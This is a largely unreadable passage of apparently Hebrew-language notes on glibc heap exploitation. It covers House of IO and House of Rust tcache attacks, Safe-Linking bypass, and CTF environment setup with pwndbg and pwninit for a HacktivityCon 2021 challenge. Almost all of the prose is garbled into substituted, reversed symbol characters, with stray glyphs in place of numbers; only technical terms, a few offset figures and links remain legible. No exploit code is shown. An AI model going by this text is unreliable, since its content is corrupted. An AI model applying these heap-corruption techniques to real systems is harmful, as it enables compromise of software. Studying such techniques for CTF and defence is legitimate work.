ˣ˲˧ˡ˰˧˷ ˰˴˟˪ ˸˞ ˫˧˷ˣ˲˧˥ˢ ˣ˪˞ˢ ˸˷˶˟ ˢ˶ˣ˴˟ ˸˧ˬ˧ˮˣˮ˞ ,ˢ˶˵ˬ˟ˣ ˪˷ ˣ˪˞ ˞˪˷ ˫˧˪ˣ˩˧ ˸ˣ˷˶ˢ˪ ˫ˬ˴˰˪ 

˸˞ ˭ˣ˩˧˯ˢ ˫˧˶˥˞˷ ˣ˰ˡ˧ ˫ˢ˷ x˞ ˣˢ˷˧ˬ ˧ˬ˧ˮˣˮ˞ ˶˥˞ ˧˪˰˟ ˭˧˧ˮ˰ ˶ˣ˦˵ˣ˟ ˢ˲˧˵˸ ˢˤ˩ x˞ ˶˥˞ ,˧˪ˣ˞ ˣ˲˧ˡ˰˧ 

˶˸˞˪ ˸˞ ˸ˣ˷˪ˣ˥ˢ ˫ˬ˴˰˟ ,˭ˬˣ ˫˸˯ˢ ˫ˠ ˞˪ ˥ˡˣˣ˪ ˭ˢ˧˪˰( 

˫ˣ˧˯˪ ,˧ˢˣˤ ˸ˣˮˬˡˤˢ ˢ˟ˣ˦ ˡ˧ˠˢ˪ ˢˬ˩ ˫˧˪˧ˬ ˸ˣ˟ˣ˦ ˪˰ ˪˧˧˞ ˭˧˵˦˧˞ .˪˧˧˞ ˟˷˥ˮ ˡ˥˞˪ ˧˶˵ˣ˥ˬ ˸˥˦˟˞ 

˰ˡ˧ˬˢ ˫˧˦˪ˣ˟ˢ ˳˶˞˟ ˳ˣ˥ˬˣ ˢ˪ ,˭˧˟ ˶˞˷ˢ ˫˶˸ ˭˧ˤˠˬ˪ ˢˤ ˶˲˯ˬ ˟˶ ˪˷ ˫˧˶ˬ˞ˬ ˪˰ ˣ˧˶˵˥ˬ ˫˧˩˧˶ˡˬˣ .

˪˧˧˞ ˫˯˶˲ ˧ˮ˲˪ ˶˲˯ˬ ˫˧˷ˡˣ˥ ˞ˣˢ˷ ˱˧˪˥ˬ ˵ˣ˯˧˰ ˶˟ˣ˰ˣ ˡ˵ˬ˸ˢ˪ ˫˪ˣ˰˟ ˸ˣˮ˩˸ˢ .˪˥˞ˮ x˪ ˢ˥˪˴ˢ˟ 

ˣ˩˶ˡ˟ ˷ˡ˥ˢ.s 

 

House of IO: Remastered (2020, Jayden wƛǾŜǊǎόά!ǿŀǊŀǳέύ ϧ 9ȅŀƭ Lǘƪƛƴύ 

ˢ˶˧˵˯ ˸˧˪˪˩ 

˸˸˥˷ˢ s-metadata ˪˷ ˢˮ˟ˬ ˪ˣˢ˧ˮ s-tcache )˪˷ s-main arena (˰˟˴ˣˬ˷ ˨ˣ˸ˬ chunks ˣ˶˶˥ˣ˷˷ 

ˣ˶ˣ˷˧˵ˣ ˪˞ ˨ˣ˸ s-tcache. 

˫˧˦˶˲ 

ˢ˴˶ˮ ˱ˮˬ˪ ˸˞ ˭ˣˮ˩˸ˢ ˪˷ s-tcache x˟ ˶ˬ˷ˮ metadata ˪˰ ˧˟ˠ ˢˡ˷ s-user-data ˪˷ s-chunks 

ˣˮ˸˪˰ˣ˸˪ .˸˞ ˢˮ˟ˬˢ ˧˪˪˩ˢ ˸˶ˣ˴ˣ ˷ˣˬ˧ˬˢ s- Tcache ˣˮ˞ ˫˧˶˧˩ˬ ˶˟˩ ˵˪˥ˢˬ x˟ ˣˮˠ˴ˢ ˣ˸ˣ˞ .˱˯ˣˮ˟ 

˨˩˪ ,˫˧˷ˮ ˟˪ ˭ˣˮˠˮˬ˷ s-Safe-Linking ˪˧˰˲ˬ ˸˞ ˣ˶˵˞ˬ s-PROTECT() ˵˶ ˪˰ ˧˰˧˟˴ˬ next/fd .˶ˬˣ˪˩ ,

˷˞˶ˢ ˪˷ ˪˩ ˸˥˞ ˸ˣˬ˧˷˶ˢˬ ˶˞˷ˮ ˞˪ ˭ˠˣˬ .ˣˬ˩ ˢ˶˵ˬ˟ ˪˷ s-fastbins ,˫ˠ ˫ˢ ˫˧˞˴ˬˮ ˶ˣˤ˞˟ s-

heap )˰˧˟˴ˬˢ ˢˮ˟ˬ˪ ˣ˩ˣ˸˟˷ ˫˧˶ˬ˷ˮ ˫˧˰˧˟˴ˬˢ ˧˷˞˶˪ ˸ˣˬ˧˷˶ s-tcachebins:static __thread 

*tcache tcache_perthread_struct ˶ˣˬ˷ ˢˮ˸˷ˬ˟ ˧˦˦˯ ˷˧ˠˮˢ ˵˶ ˸ˣ˧˴˵ˮˣ˲˪ ˳˟ˣ˵˟˷ x˟ ˞ˣˢ ˶ˡˠˣˬ ,

˨˞ ˢˮ˟ˬˢ ˣˬ˴˰ ˢ˴˵ˣˬ ˸˪˧˥˸˟ s-heap .(˪˩˟ ˢ˶˵ˬ - ˢˤ ˧ˣ˪˸ ˷ˣˬ˧ˬ .˞˪ ˪˩ˣˮ ˸ˣ˧ˢ˪ ˫˧˥ˣ˦˟ ˸ˣ˞ˡˣˣ˟ 

˨ˣ˯˧ˬ˷ )bitwise xor (˰˧˟˴ˬˢ ˫˰ ˸˟ˣ˸˩ˢ ˢ˟ ˞ˣˢ ˶ˬ˷ˮ ˢ˧ˢ˧ ˧˟˧˦˵˲˞ )˟˵˰ ˨˩ ˢˤ˷ ˧ˣ˪˸ ˷ˣˬ˧ˬ˟ ˪˷ 

˶˞˷ ˡˣ˵ˢ .( 

˟ˣ˪˧˷ˢ ˪˷ ˭˩˸ ˞˪ ˡ˧ˬ˰ ˡ˴ˬ Glibc ˢ˥ˮˢˣ ˞˪ ˢˮˣ˩ˮ ˪˷ ˪˧˧˞ ˶˷˞˩ ˟˴˧˰ ˸˞ ˭ˣˮˠˮˬˢ ,ˣ˶˷˲˧˞ ˸˞ ˪ˣ˴˧ˮ 

ˢ˵˧ˮ˩˦ xʕ .˱ˣ˵˸ˮ ˸ˣ˶˧˷˧ ˸˞ ˷˞˶ ˸ˬ˧˷˶ s-free list ˪˷ ˡ˥˞ ˢˬ-tcachebins. 

ˢˮ˟ˬ s-tcache_perthread_struct ˢ˴˵ˣˬ ˸˰˟ ˢ˷-heap ˶˴ˣˮ )˪˷ˬ˪- ˸˰˟ ˢ˷˵˟ˢ ˢˮˣ˷˞˶ˢ ˭ˣ˶˩ˤ˪ 

ˢˬ-heap ,(˞ˣˢ ˭˯˥ˣ˞˧ ˸˪˧˥˸˟ s-heap )˦˯˧ˢ˟ л .(˱˵ˣ˸ ˫˰ ˸˪ˣ˩˧ buffer underflow ˸˧˶˞ˮ˧˪ ˪˰ ˧˟ˠ 

˳˴ˣ˥ ˟-heap x˞ ˸˪ˣ˩˧ ˠˣ˯ˬ ˢ˟˧˸˩-˸˧˸ˣ˶˧˶˷ ˸˟ˣ˸˩˪ ˸˧˯˥˧ )˶ˬˣ˪˩ ˪ˣ˩˧ ˟ˣ˸˩˪ ˦˯˧ˢ˟/˯˵ˡˮ˧˞ ˨˶˰ˬ 

˧˪˧˪˷ ˯˥˧˟ ˸˟ˣ˸˩˪ ˪˰ s-heap ,ˢ˧ˢ˧ ˪ˠˣ˯ˬ ˱ˮˬ˪ ˸˞ˤ ˨˶ˣ˴˪ ˸˸˥˷ˢ ˢˮ˟ˬ s-tcache ˮˢ"˪ ˣ˪ˣ˩ .

˦˶˲˟ ,˞ˣˢ ˪˩ˣ˧ ˸˧˥˷ˢ˪ ˪˩ tcache_entry ˶˥˟˧˷ )˫˷ ˟˷ˣ˧ ˰˧˟˴ˬˢ ˷˞˶˪ ˢˬ˧˷˶ˢ ˪˷ ˣ˸ˣ˞ bin.( 

https://elixir.bootlin.com/glibc/latest/source/malloc/malloc.c#L3025
https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#tcache_init
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˫˧˷ˣˬ˧˷ ˫˧˲˯ˣˮ 

˱˯ˣˮ˟ ˨˩˪ ,˷˧ ˡˣ˰ о ˧˶˵ˬ ˢ˴˵ ˫˧˧ˣ˷˰˷ ˸ˣ˧ˢ˪ ˫˧˪˴ˣˮˬ ˰"˧ ˱˵ˣ˸ .˭˸˧ˮ ˠˣˣ˯˪ ˫˸ˣ˞ ˸˸˩-ˢ˴ˣ˟˵ ˪˷ 

˸˟˧˸˩ ˸˟ˣ˸˩˪ ˸˧˸ˣ˶˧˶˷ ˸˧˯˥˧: 

мΦ UAF - ˶˷˲˞ˬˢ ˸˞˧˶˵ ˸˟ˣ˸˩ ˪˷ ˢˮ˟ˬ s-Tcache ˢ˶ˣˬ˷ˢ ˰˧˟˴ˬ˟ ˢ˸˟˧˸˩ˣ ˢ˯˧ˮ˩˪ ˸˶ˬˣ˷ˢ 

˰˧˟˴ˬ ˦˯˧ˢ˟ ˪˷ у ˫˧˸˟ )˸˧ˮ˶ˣ˥˞ ˢ˸ˣ˞ˬ ˸˟ˣ˸˩( - ˸˟ˣ˸˩ˢ ˫˧˞˶ˣ˵˷ ˢ˶ˣˬ˷ ˨ˣ˸˟ ˫ˣ˵˧ˬ ˢˡ˷ 

-skey )s-quadword )˰˧˟˴ˬˢ (˧ˮ˷ˢ  (-˟user data )*tcache_perthread_struct( ˶˥˞˪ˣ ˭˩ˬ 

ˢ˟˧˸˩ ˪˞ ˢˮ˟ˬ ˪ˣˢ˧ˮ ˢˤ ˞˴ˬˮˢ ˟-main_arena .ϐkey ˟˸˩ˮ ˫ˣ˵˧ˬ˪ ˮˢ"˪ ˸˰˟ ˶ˣ˷˧˵ free chunk 

-˪tcache ˢ˧˴˵ˮˣ˲˟ tcache_put()ώ . 
 

˟˷˥ˮ ˸˞  tc_idx˧˦ˮˣˣ˪˶ˢ )˫˧˞˸ˬˢ ˪ˡˣˠ˪ s-victim chunk ˣˮˮˣ˴˶˟˷ ˶˷˵˪ ˪˞ ˷˞˶ ˢˬ˧˷˶ 

˸ˬ˧˧ˣ˯ˬ (˸˞ˣ ˦˯˧ˢˢ ˸˟ˣ˸˩ˢˬ ˣˮ˲˷˥˷ ˪˞ tcache->entries[tc_idxώ x- tcache->counts[tc_idxώ .

ˢˮ˷ˮ ˸˞ ˨˶˰ ˢˮˣˬˢ ˫˧˞˸ˬˢ ˨˶˰˪ ˧˟ˣ˧˥ ˵˲˯ˬˢ ˣˮ˸ˣ˞.˟ˣ˸˩ˮ ˨ˣ˸˪ tcache->entries[tc_idxώ ˸˞ 

˸˟ˣ˸˩ s-target data ˣˮ˪˷ )˸˶ˣ˩ˤ˸ :-˟metadata ˪˷ s-tcache chunk ˸˶ˬ˷ˮ ˸˟ˣ˸˩ˢ ˪˷ s-

user data ˪˷ s-chunk ˞˟ˢ ,˞˪ˣ ˪˷ ˸˪˧˥˸ s-chunk .(ˢ˴˵ˮ chunk ˨ˣ˸ˬ ˣ˸ˣ˞ tcachebin ˸˰˩ˣ 

˪˩ˣˮ ˟ˣ˸˩˪ ˪˞ s-target data ˣˮ˪˷ ˸ˣ˰˴ˬ˞˟ s-victim chunk. 

 

нΦ ˶ˣ˶˥˷ ˢˮ˟ˬ ˪ˣˢ˧ˮˢ ˪˷ s-cachet :˦˯ ˸ˣ˞˧˶˵ ˪-free() ˶ˡ˯˟ ˷˟ˣ˷ˬ - ˢˬˠˣˡ˪ :˶ˣ˟˰ ˠ˞˟ ˡˣ˵˟ 

˪˷ ˶ˣ˶˥˷ ˢˮ˟ˬ ˪˧˩ˬˢ ˫˧˰˧˟˴ˬ ˭ˣ˶˩˧ˤ˪ ˧ˬˮ˧ˡ ˧ˮ˲˪ ˷-free() ˞˶˵ˮ ˪˰ s-members ˣ˪˷ ˨˧˶˴˷ ˫ˠ 

˭˩ ˶˶˥˷˪ ˫˸ˣ˞ . 
 

˶˥˞˪ ˭˩ˬ ˶˶˥˷ˮ ˸˞ ˰˧˟˴ˬˢ ˢˮ˟ˬ˪ s-tcache ˶˩ˤˣˬˢ ˟-м )˪˷ˬ˪ ˨˶ˡ member ˫˶˦˷ ˣˮ˰˴˧˟ 

ˣ˧˪˰ free() ˱˲ˣ˥˷ ˫ˣ˵˧ˬ˪ ˢˡ˷ s-key ,(˨˩ ˶˷˵ˮ ˸˞ s-tcache_perthread_struct ˪˞ s-

tcachebin ˫˧˞˸ˬˢ ˪ˡˣˠ˪ 0x290  )(16/2)*64+8*64 = 0x280bytes, 8 more bytes needed for 

size field => 0x290 .(˟˪˷˟ ˢˤ ˥˪˷ˮ ˢ˷˵˟ ˢ˞˴˵ˢ˪ ˪ˡˣˠ˟ ˫˧˞˸ˬ )˪˩ ˨˶˰ ˭˧˟ 0x277 ˪-0x288 

˶ˣˬ˞ ˡˣ˟˰˪ (˨˩˟ˣ ˠ˧˷ˮ ˸˪ˣ˩˧ ˢ˟˧˸˩ ˪˰ ˧˟ˠ ˢˮ˟ˬ s-tcache ˦˶˲˟ˣ ˨˶ˣ˴˪ ˸˯˧˶ˡ ˨˶˰ ˪˷ ˰˧˟˴ˬ 

˷˞˶˪ ˢˬ˧˷˶ .ˡ˥˧ ˫˰ ˸˞ˤ ,˟˵˰ ˸ˣ˪˟ˠˬ ˸ˣ˧˶˷˲˞ ˪˰ ˪ˡˣˠ ˸ˣ˷˵˟ˢ ˸ˣ˟˵ˣ˰ˢ ˭˸˧ˮ˷ ˶˧˟˰ˢ˪ ˪-

malloc() ,ˣˢˤ ˷˧˥˶˸ ˢ˟˶ˢ ˸ˣ˥˲ ˶˧˟˯ ˸ˬˣ˰˪ buffer underflow x˞ Use-After-Free. 
 

оΦ Buffer underflow :˸˸˥˷ˢ ˢˮ˟ˬ s-tcache_perthread_struct  ˰"˧ ˢ˷˧˪ˠ ˸˧ˮ˶ˣ˥˞ ˳˴ˣ˥ˬ ˞˴ˬˮˢ 

˨ˣˬ˯˟ ˣ˧˪˞ ˪˰ s-heap )˪˷ˬ˪ ˪˰ ˧ˡ˧ ˷ˣˬ˧˷ ˯˵ˡˮ˧˞˟ ˧˪˧˪˷ ˢ˷˧ˠ˟ ˨˶˰ˬ˪.( 

ˣˮ˧˞˶ ˱˵ˣ˸˪˷ ˫˰ ˭˸ˣ˞ ˸ˣ˪ˣ˩˧ˢ ˸ˮˠˢ˷ s-Safe-Linking ˢˮˮ˩ˣ˸ ˭ˠˢ˪ ˭ˢ˧ˮ˲˟ ,ˢ˧ˢ˧ ˪ˠˣ˯ˬ ˱ˣ˵˰˪ ˢ˸ˣ˞ 

˱ˣ˵˸˪ˣ ˸ˣ˶˧˷˧ ˸˞ ˢˮ˟ˬ ˪ˣˢ˧ˮˢ ˧˷˞˶ˢ ˪˷ s-tcache ˨˩˟ˣ ˠ˧˷ˢ˪ ˟˧˦˧ˬ˧˶˲ ˠˣ˯ˬ Malloc-Where 

)˸ˣ˴˵ˢ˪ chunk ˸˟ˣ˸˩˟ ˸˧˸ˣ˶˧˶˷ .(˫˞ ˱˵ˣ˸ ˪ˣ˩˧ ˯ˣ˶ˡ˪ ˸˞ ˰˧˟˴ˬˢ ˪˷ ˷˞˶ tcachebin ˣˢ˷˪˩ ,˞ˣˢ 

˧ˣ˷˰ ˥˧˪˴ˢ˪ ˱ˣ˵˰˪ ˸˞ ˪ˣ˷˩ˬ ˸ˣ˧˞˶˵˞ˢ ˭ˣˮˠˮˬˢ˷ ˮˢ"˪ ˷ˬ˸˷ˬ x˟ ˧ˡ˩ ˭ˠˢ˪ ˪˰ ˧˰˧˟˴ˬ s-next/fd. 

  

https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#tcache_perthread_struct
https://elixir.bootlin.com/glibc/latest/source/malloc/malloc.c#L3062
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˸ˣ˪˟ˠˬ 

ˢ˲˵˸ˬˢ ˸ˡ˟ˣ˰ ˡˠˮ˩ s-tcache ,˨˞ ˞˧ˢ ˞˪ ˸˰ˡˣ˧ ˡˡˣˬ˸ˢ˪ ˫˰ ˢ˵˧ˡ˟ˢ ˪˷ s-fastbins 

ˢ˲˵˸ˬˢ ˢ˩˧˶˴ˬ ˱˵ˣ˸ˢˬ ˢ˧ˢ˧˷ x˪ ˸ˣ˥˲˪ ˡ˥˞ ˢ˷ˣ˪˷ˢˬ :˟˧˦˧ˬ˧˶˲ ˢ˷˧˪ˠ ˸˧ˮ˶ˣ˥˞ ,UAF ˦˯˧ˢ˟ 

˧˲˧˴˲˯ ˣ˸˪˧˥˸ˬ ˪˷ ˢˮ˟ˬ ˪˰ s-heap x˞ ˟˧˦˧ˬ˧˶˲ ˶˷˲˞ˬˢ ˶˷˵˪ ˸˞ s-tcache_perthread_struct 

˪˞ ˨ˣ˸ s-tcachebin ˡ˧˥˧ˢ ˫˧˞˸ˬ˷ x˪ .˧ˢˣˤˣ ˢˡˣ˵ˮ ˸˧˦˧˶˵ :ˢˮ˧˥˟ˬ ˸˧˦˯˧˦˦˯ ,ˠ˞˟ Underflow ˞ˣˢ 

ˢ˟˶ˢ ˸ˣ˥˲ ˳ˣ˲ˮ ˶˷˞ˬ ˠ˞˟ Overflow . 

˱˯ˣˮ˟ ˨˩˪ ,˪˰ ˸ˮˬ ˨ˣ˲ˢ˪ ˸˞ ˸ˣ˞˯˶ˠ s-free() ˪˷ ˢ˲˵˸ˬ xʕ ˸ˣ˪˧˰˧˪ ˫˪ˣ˰˟ ˧˸˧ˬ˞ˢ ,˷˧ ˨˶ˣ˴ ˸ˣ˪ˣ˩˧˟ 

ˣˬ˩ UAF ˪˰ ˰˧˟˴ˬ ,˪˩ˣˬˢ ˨ˣ˸˟ ˢˮ˟ˬˢ ˶˶˥ˣ˷˷ ,˞˴ˬˮˣ ˣ˩ˣ˸˟ ˦˯˧ˢ˟ ˪˷ у ˫˧˸˟ ,ˠ˞˟ ˶ˡ˯˟ 

˸ˣ˞˧˶˵ˢ ˪-free() ˪˰ ˢˮ˟ˬ sx-members ˣ˪˷ ,ˣ˞ ˧˰˴ˬ˞ ˶˥˞ ˣ˸˶ˤ˰˟ ˢ˞˧˶˵ ˪-free() ˪˰ ˰˧˟˴ˬ ˫ˣ˶ˠ˸ 

˶ˣ˶˥˷˪ s- tcache_perthread_struct. 

ˢ˯˶ˠ оп.н ˪˷ glibc ˢˠ˧˴ˢ ˢˮˣ˷˞˶˪ ˭ˣˮˠˮˬ ˸˰˧˟˵˪ ˫˧˩˶˰ ˫˧ˮˣ˷ ˪-key ˢ˷ˣ˰ˢ ˷ˣˬ˧˷ ˢˮ˸˷ˬ˟ ˧˦˦˯ 

static uintptr_t tcache_key ˡ˰ˣˮ˷ ˯ˣ˲˸˪ ˸ˣˮˣ˧˯ˮ ˶ˣ˶˥˷˪-˪ˣ˲˩ ˨ˣ˸˟ thread ,˪˥˸ˣ˞ˬˢ ˢ˶ˣ˴˟ 

˸˧˞˶˵˞ ˪˶ˠˣˬˣ ˨˶˰˪ ˷ˡ˥ ˪˩˟ ˢ˯ˮ˩ˢ ˪-tcache )˸˶ˤ˰˟ ˪˪ˣ˥ˬ ˫˧˶˲˯ˬ ˫˧˧˪ˬˣˡˮ˶ ˣˮ˧˞˷ ˥˶˩ˢ˟ ˥ˣ˦˟ 

˸˧˲˶ˠˣ˦˲˧˶˵ (ˣ˸˶˦ˬ˷ ˱˧˪˥ˢ˪ ˸˞ ˥˸˲ˬˢ ˡ˰˷ ˢ˩ ˢ˧ˢ ˱˸ˣ˷ˬ ˭˧˟ ˪˩ s-free-chunks ˨ˣ˸˟˷ 

tcachebin ˫˧˧ˣ˯ˬ )ˣ˶˩˧ˤ ˢ˶˦ˬˢ˷ ˣ˪˷ ˢ˸˧˧ˢ ˸ˣˢˤ˪ ˧ˬ ˶˟˩ ˞˴ˬˮ ˨ˣ˸˟ ˣ˸ˣ˞ tcachebin ,˧˶ˢˣ ˪˩˪˷ 

˪ˡˣˠ ˪ˣ˩˧ ˫˧˞˸ˢ˪ ˵˶ tcachebin ˡ˥˞ . 

˭˩˪ ˢ˧ˢ ˵˧˲˯ˬ ˟ˣ˦ ˶ˣˬ˷˪ ˢˡ˷˟ s-key ˪˷ ˪˩ s-free chunks ˣ˶˷ˣ˵˷ ˪-tcache ˸˞ ˣ˸ˣ˞ ˥˸˲ˬˢ !˧˩ 

ˢˤ ˵˶ ˡ˰ˣˮ ˭ˬ˯˪ ˞ˣˢ˷ ˨˧˧ˣ˷ˬ ˫˷˪ ,(˨˞ ˸˰˩ ˣˢ˷˧ˬ ˶˩ˤˮ ˧ˢˣˤ˷ ˢ˷˪ˣ˥/ˠ˞˟ ˭˩˸˟ )design (˸ˮ˸˧ˮˢ 

˪ˣ˴˧ˮ˪ .˭ˣˮˠˮˬˢ ˷ˡ˥ˢ ˭ˮ˩ˣ˸ ˨˩ ˪˧˶ˠ˧˷ ˶˲˯ˬ ˧ˡˣ˥˧ ˞˪˷ ˶ˣˬ˞ ˰˧˲ˣˢ˪ ˭ˣ˶˩˧ˤ˟ ˶ˣ˟˰ ˪˩ chunk 

˶˶˥˸˷ˬˢ ˪˞ s-tcache ˧ˡ˩ ˠ˧˷ˢ˪ ˡˣ˰ ˢ˶˦ˬ ˳ˣ˥ ˸ˬˡˣ˵ˢˬ )˸ˣˢˤ˪ ˶ˣ˶˥˷ ˪ˣ˲˩ :(˰ˣˮˬ˪ ˢˠ˪ˤˢ ˪˷ 

˸˟ˣ˸˩ ˢˮ˟ˬ s-tcache )˪˟˞ ˣˬ˩ ˫˧˶ˬˣ˞˷ - ˞˪ ˫˪ˣ˰˪ ˭˯ˣ˥.(... 

 

House of Rust (2021 c4ebt, Bypassing Glibc 2.32 Safe Linking mitigation) 

ˢ˵˧ˮ˩˦ xʕ ˶˵ˣ˯˸ ˫ˠˡˣ˸ˣ ˨ˣ˸ ˸˲˧˵˸ ˧˶˞ˮ˧˟ ˪˲ˬˣ˵ˬˢ ˪˞ ˪ˣˬ glibc v2.34 ˫ˣ˯˶˲˟ ˞˟ˢ ˞˷ˣˮ˟. ˸ˣ˧ˮ˲ˢ 

˸ˣ˶ˣ˵ˬ˪ ˫˧˧˦ˮˣˣ˪˶ ˸ˣ˲˶ˣ˴ˬ ˱ˣ˯˟ ˨ˬ˯ˬˢ. 

 

  

https://git.uplinklabs.net/mirrors/glibc/commit/fc859c304898a5ec72e0ba5269ed136ed0ea10e1?style=split&whitespace=
https://elixir.bootlin.com/glibc/glibc-2.34/source/malloc/malloc.c#L3035
https://elixir.bootlin.com/glibc/glibc-2.34/source/malloc/malloc.c#L3035
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˸ˣˮˣ˶˸˲ ˫˧˶ˠ˸˞ ˢˬˠˣˡ˪ ˸ˣ˧ˣ˶˥˸ˬ CTF: 

˸ˣ˞ˬˠˣˡ ˸˦˧˷˪ ˢˡˣ˟˰ ˶ˣ˟˰ exploitation heap: 

ˢˬˡ˵ˢ  

˭˲ˣ˞˟ ˧˪˪˩ - ˧ˡ˩ ˪˵˸˧ˮ˷ ˢˬ˩˟ ˸ˣ˥˲˷ ˸ˣ˧˰˟ ˢˡˣ˟˰˟ ˫˰ pwndbg ,˱˧ˡ˰ ˡˣ˟˰˪ ˫˰Ubuntu Linux 

04.20/04.18. ˸ˣ˴˲ˢ ˸ˣ˶˥˞ ˪˷ ˯˵ˣˮ˧˪ ˸ˣ˷˶ˣˡ ˸ˣˬ˞˸ˢ ˸ˣˡ˥ˣ˧ˬ ˶ˣ˟˰ ˸ˮ˵˸ˢ pwndbg. 

ˢˬˠˣˡ ˦˲˧˶˵˯˪ bash ˭˧˵˸ˬ˷ ˵˪˥ ˸ˣ˧˶˲˯ˢˬ ˨˶˦˴ˮ˷ ˪ˣ˩˧ˣ ˸ˣ˧ˢ˪ ˧˦ˮˣˣ˪˶ ˫˩˵˪˥˪ ˶˷˲˞ ˞ˣ˴ˬ˪ ˭˞˩ 

ˣ˞ ˭˞˩ )˞ˣˢ ˭˧˵˸ˬ pwndbg ˨ˣ˸ˬ fork ˪˷ AngelBoy ˶˟˩˷ ˞˪ ˵ˤ˥ˣ˸ˬ( 

ˢˬˠˣˡ ˦˲˧˶˵˯˪ ˡˬ˥ˮ ˷ˬ˸˷ˬ˷ ˟-docker ˧ˡ˩ ˫˧˶ˢ˪ ˸˟˧˟˯ ˢ˧˴˦ˣ˪˲˯˵˞ ˢˮ˩ˣˬ ˶ˣ˟˰ ˸ˣ˞˯˶ˠ ˸ˣˮˣ˷ 

˪˷ Ubuntu ˭˸˧ˮ ˞ˣ˴ˬ˪ ˭˞˩ )ctfpwn-env( 

Pawned - HacktivityCon 2021  

˶ˠ˸˞˟ ˢˤ ˣˮ˞ ˫˧˪˟˵ˬ ˳˟ˣ˵ ELF ˫˷˟ pawned x-build ˧˲˧˴˲˯ ˪˷ libc ˫˷˟ libc-2.31.so .˪˩ˣˮ ˸ˣ˞˶˪ 

˞ˣˢ˷ "Fully protected) "˭ˮ˷˧  ˡˣ˰˸ˣ˥˷˵ˢ ˸ˣ˧˶˷˲˞ ˣˬ˩ Fortify ˞˪˷ ˯˥˧˧˸ˮ ˭ˢ˧˪˞ ˰ˠ˶˩:( 

 

˭˸˧ˮ ˸ˣ˞˶˪ ˧˶˞ˮ˧˟ˢ˷ ˞˪ ˪˲ˬˣ˵ ˨˩ ˷˲˥˧˷ ˭ˣ˰˦˪ ˧ˮ˲˪ ˣ˸˴˧˶ ˸˞ libc ˨ˣ˸ˬ ˢ˧˵˧˸ˢ ˢ˟ ˞ˣˢ ˞˴ˬˮ ,

˫ˣ˵ˬ˟ ˸˞ˤ ˞ˣˢ ˶˷ˣ˵˧ ˸˯˶ˠ˪ libc ˸ˮ˵˸ˣˬˢ ˪˰ ˸˩˶˰ˬˢ )н.ом ˢ˶˵ˬ˟ ˪˷ Ubuntu 20.04Υό 

 

˨˶˦˴ˮ ˣˢ˷˩˧˞ ˡˣ˟˰˪ ˪ˣˬ ˢ˸ˣ˞ ˢ˯˶ˠ ˢ˷-libc ˢ˪˷ ˢˤ ˢˬ ˣˮ˪˟˧˵˷ .ˢ˟˶ˬ˪ ˶˰˴ˢ ˞˪ ˣˮ˪˟˧˵ ˱˯ˣˮ˟ ˫ˠ 

˳˟ˣ˵ ld.so ,˨˩ ˫ˠ˷ ˫˞ ˡ˧˶ˣˮ ˸˞ pwninit )˵˧˲˯ˬ ˡ˧˶ˣˢ˪ ˸˯˶ˠ release ˶ˣ˴˧˪ˣ ˢ˧˪˞ alias ˫˷˪ ˸ˣ˥ˣˮ .

ˢ˧˴˲ˣ˞ˢ ˪˷ ˢˮ˵˸ˢ ˨˶ˡ cargo ˪˷ˬ˪ ˞˧ˢ ˧˧ˡ ˸˩˟˯ˣ˸ˬ ,ϐ˨˧˶˴ ˭˧˵˸ˢ˪ ˢˬ˩ ˸ˣ˧ˣ˪˸ ˧ˮ˲˪ ˭˩ ,˪˷ˬ˪ 

dev-, libzlmarustcargo,  .˨˧˶˴ ˞ˡˣˣ˪ ˢ˯˶ˠˢ˷ ˪˷ Rust ˢˮ˵˸ˣˢ˷ ˞˧ˢ ˸˧ˮ˩ˡ˰ˢ ˶˸ˣ˧˟ )stable(ώ ˪˧˰˲ˮˣ 

ˣ˸ˣ˞ ,˫ˮˬ˞ ˪˩ˣˮ ˳˧˶ˢ˪ ˸˞ ˧˶˞ˮ˧˟ˢ ˪ˣˬ libc ˢˤ ,˪˟˞ ˪˵˸˧ˮ ˢ˧˰˟˟ ˸˶˩ˣˬ ˸ˮ˟˴˰ˬˣ ˪˷ pwndbg ˞˪˷ 

˸˶˷˲˞ˬ ˪˴ˮ˪ ˸˞ ˸ˣ˪ˣ˩˧ˢ ˸ˣˮ˧˧ˮ˰ˬˢ ˣ˪˷ . 

https://github.com/pwndbg/pwndbg
https://github.com/one2blame/scripts/blob/9dc4a477339c73f9bbb5814ddbe4f15a16c4a059/setup-exploit-dev.sh
https://dev-pengun.tistory.com/entry/pwnable-%EC%9A%B0%EB%B6%84%ED%88%AC-%EC%84%A4%EC%B9%98-%ED%9B%84-%EA%B9%94%EC%95%84%EC%95%BC-%ED%95%98%EB%8A%94-%EA%B2%83%EB%93%A4-%EB%AA%A8%EC%9D%8C
https://github.com/WinMin/ctfpwn-env
https://github.com/search?q=pawned+challenge.ctf.games&type=code
https://github.com/search?q=pawned+challenge.ctf.games&type=code
https://github.com/io12/pwninit
https://www.rust-lang.org/learn/get-started
https://github.com/pwndbg/pwndbg/issues?q=is%3Aissue+%22This+command+only+works+with+libc+debug+symbols%22+
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˞˪ ˢ˞˶ˮ ˷˧˷ ˫ˢ˪ ˭ˣ˶˸˲ house-in ˶˧ˢˬ ˪˧˰˧ˣ ˢ˧˰˟˪ ˟˪˷˟ ˢˤ .˶˷˲˞ ˷ˬ˸˷ˢ˪ ˟-gef ˫˧˶˵ˬ˟ 

ˣ˪˞˩˷ ,ˣ˞ ˡˣ˟˰˪ ˫˰ docker ˣˬ˩ ˶˩ˤˣˢ˷ ˢˬˡ˵ˢ˟ ˸ˣˣ˵˪ˣ ˸ˣ˞˯˶ˠˢ˷ ˪˷ libc ˫˰ ˶˲˯ˬ ˢˢˤ ˣˠˢˮ˸˧ 

ˢ˸ˣ˞˟ ˢ˶ˣ˴ ˡ˰ ˧ˡ˩ ˧ˣˮ˧˷ ˪˵ ˟-offsets ˭˸˧ˮ˷ ˭˵˸˪ ˧˶˥˞ ˦˧ˣ˪˲˯˵˞ˢ˷ ˡ˟ˣ˰ ˸˧ˬˣ˵ˬ ,ˣ˞ ˡ˧˶ˣˢ˪ ˸˞ s-

dev-6libc ˫˧˞˸ˬˢ )˫˞ ˫˧˯ˮˬ ˭˧˵˸ˢ˪ ˸˞ ˳˟ˣ˵ deb ˢˤ˩˷ ˸˶ˤ˰˟ ˢˡˣ˵˲ˢ i-dpkg  ,˞ˣˢ ˯ˣ˶ˡ˧ ˸˞ 

ˢ˯˶ˠˢ ˢˮ˷˧˷ ˪˰ ˸˩˶˰ˬˢ . 

